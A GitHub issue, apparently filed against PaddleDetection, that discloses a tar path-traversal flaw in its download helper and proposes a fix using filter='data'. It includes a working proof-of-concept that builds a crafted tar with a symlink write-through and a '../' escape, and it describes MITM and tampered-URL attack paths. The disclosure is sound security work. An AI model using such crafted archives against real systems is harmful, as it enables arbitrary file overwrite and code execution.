[Bug] tar archives downloaded by ppdet/utils/download.py are extracted without member validation (path traversal)
问题确认 Search before asking
Bug组件 Bug Component
DataProcess
Bug描述 Describe the Bug
Summary
ppdet.utils.download._decompress calls tarfile.extractall() on tar archives with
no filter= and no member-path/link validation, so a crafted tar can write files outside
the intended target directory fpath_tmp (path traversal + symlink write-through).
Locations
ppdet/utils/download.py:486(tar branch of_decompress)- Same code duplicated at
deploy/pipeline/download.py:228
# ppdet/utils/download.py:484-489
if fname.find('tar') >= 0:
with tarfile.open(fname) as tf:
tf.extractall(path=fpath_tmp) # <- no filter, no member validation
elif fname.find('zip') >= 0:
with zipfile.ZipFile(fname) as zf:
zf.extractall(path=fpath_tmp)Why the zip branch is safe but the tar branch is not
The two branches look identical but have completely different security semantics:
zipfile.ZipFile.extractall()is sanitized by CPython itself (splitdrive, strips absolute paths and./..components) and does not create symlinks fromexternal_attr;tarfile.extractall()performs no sanitization at all: it accepts../and absolute paths, and creates symlinks/hardlinks from the archive.
This is the CVE-2007-4559 class. The Python docs warn about extractall; since 3.12 an
unspecified filter= raises a DeprecationWarning, and in 3.14 the default becomes filter='data'.
Aggravating factors (same function)
- The downloaded archive is not integrity-checked before extraction:
get_path(url, root_dir, md5sum=None)hasmd5sumdefaulting toNone, and_check_exist_file_md5only falls back to the HTTPcontent-md5when the filename ends withpdparams— archives (tar/zip) are not covered. _downloadusesrequests.get(url, stream=True); overhttp://there is no transport protection.get_weights_path(url)/get_path(url, ...)/get_config_path(url)are public APIs withurlas a parameter;parse_urlonly rewrites theppdet://prefix, so plainhttp(s)://URLs pass through unchanged.
Steps to reproduce (pure stdlib — no PaddlePaddle/CUDA needed)
Paste and run this as-is (it only writes to a temp dir):
import io, os, tarfile, tempfile
work = tempfile.mkdtemp()
fpath_tmp = os.path.join(work, "tmp"); os.makedirs(fpath_tmp)
outside = os.path.join(work, "OUTSIDE"); os.makedirs(outside)
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w") as tf:
i = tarfile.TarInfo("link"); i.type = tarfile.SYMTYPE; i.linkname = outside
tf.addfile(i) # symlink pointing outside fpath_tmp
d = b"ESCAPED\n"
j = tarfile.TarInfo("link/pwned.txt"); j.size = len(d)
tf.addfile(j, io.BytesIO(d)) # write *through* the symlink
k = tarfile.TarInfo("../escaped_via_dotdot.txt"); k.size = len(d)
tf.addfile(k, io.BytesIO(d)) # classic ../ traversal
buf.seek(0)
# ----- equivalent to the tar branch of ppdet/utils/download.py:_decompress -----
with tarfile.open(fileobj=buf) as tf:
tf.extractall(path=fpath_tmp)
# ------------------------------------------------------------------------------
print("fpath_tmp (target dir):", os.listdir(fpath_tmp))
print("OUTSIDE/ (should be empty):", os.listdir(outside))
print("parent of tmp (should be unchanged):", [f for f in os.listdir(work) if f.endswith(".txt")])Expected results
extractall should reject (or skip) members that escape fpath_tmp, and any symlink/hardlink
member. No new files should appear in OUTSIDE/ or in the parent of tmp.
Actual results
fpath_tmp (target dir): ['link']
OUTSIDE/ (should be empty): ['pwned.txt'] <- symlink write-through succeeded
parent of tmp (should be unchanged): ['escaped_via_dotdot.txt'] <- ../ traversal succeededBoth escape vectors work.
Impact
Arbitrary file write anywhere the process can write (outside fpath_tmp), plus creation of
symlinks pointing anywhere. Combined with PaddleDetection's purpose (download weights/configs and
then load them), this can overwrite Python files or model configs that are later imported/loaded
→ code execution; it can also overwrite existing weight files under ~/.cache/paddledetection/.
The trigger requires an attacker to influence the URL passed to get_weights_path/get_path/
get_config_path (custom model/dataset URLs, a tampered or MITM'd download source, a shared config's
weights: field, ...). An http:// source can be exploited directly via MITM.
Suggested fix
Pass filter='data' for tar (Python 3.12+):
with tarfile.open(fname) as tf:
tf.extractall(path=fpath_tmp, filter="data")For 3.10/3.11 compatibility, fall back to per-member validation (the equivalent of filter='data'
described in the tarfile docs). Note that validating .. alone does not stop symlink
write-through — you must also reject symlink/hardlink members, or just use filter='data'.
Also recommended: enforce md5/sha256 for tar/zip too (not only .pdparams), and prefer https://.
deploy/pipeline/download.py:228 is a copy of the same code and must be fixed as well.
Relation to #7201 (to avoid being closed as a duplicate)
#7201 is exactly the CVE-2007-4559 patch PR filed by Trellix in 2022-10. Its closing comment reads:
nemonameless (2022-11-04): "Thanks, please register CLA at first. The CI queue time is too long, so temporarily close your PR. You can register the CLA and then open it."
i.e. it was suspended and closed because the CLA was not signed — the patch was never merged.
I pulled ppdet/utils/download.py from develop in 2026-09 and :486 is still
tf.extractall(path=fpath_tmp), with no filter=.
复现环境 Environment
- OS: Ubuntu 22.04
- PaddlePaddle: N/A - reproducible at the plain Python stdlib level; PaddlePaddle is not needed
- PaddleDetection: local clone, commit b25522a0 (2026-03-16); also present on develop
- Python: 3.10.12
- CUDA: N/A
- CUDNN: N/A
- GCC: N/A
Bug描述确认 Bug description confirmation
- 我确认已经提供了Bug复现步骤、代码改动说明、以及环境信息,确认问题是可以复现的。I confirm that the bug replication steps, code change instructions, and environment information have been provided, and the problem can be reproduced.
是否愿意提交PR? Are you willing to submit a PR?
- 我愿意提交PR!I'd like to help by submitting a PR!
Source: PaddlePaddle/PaddleDetection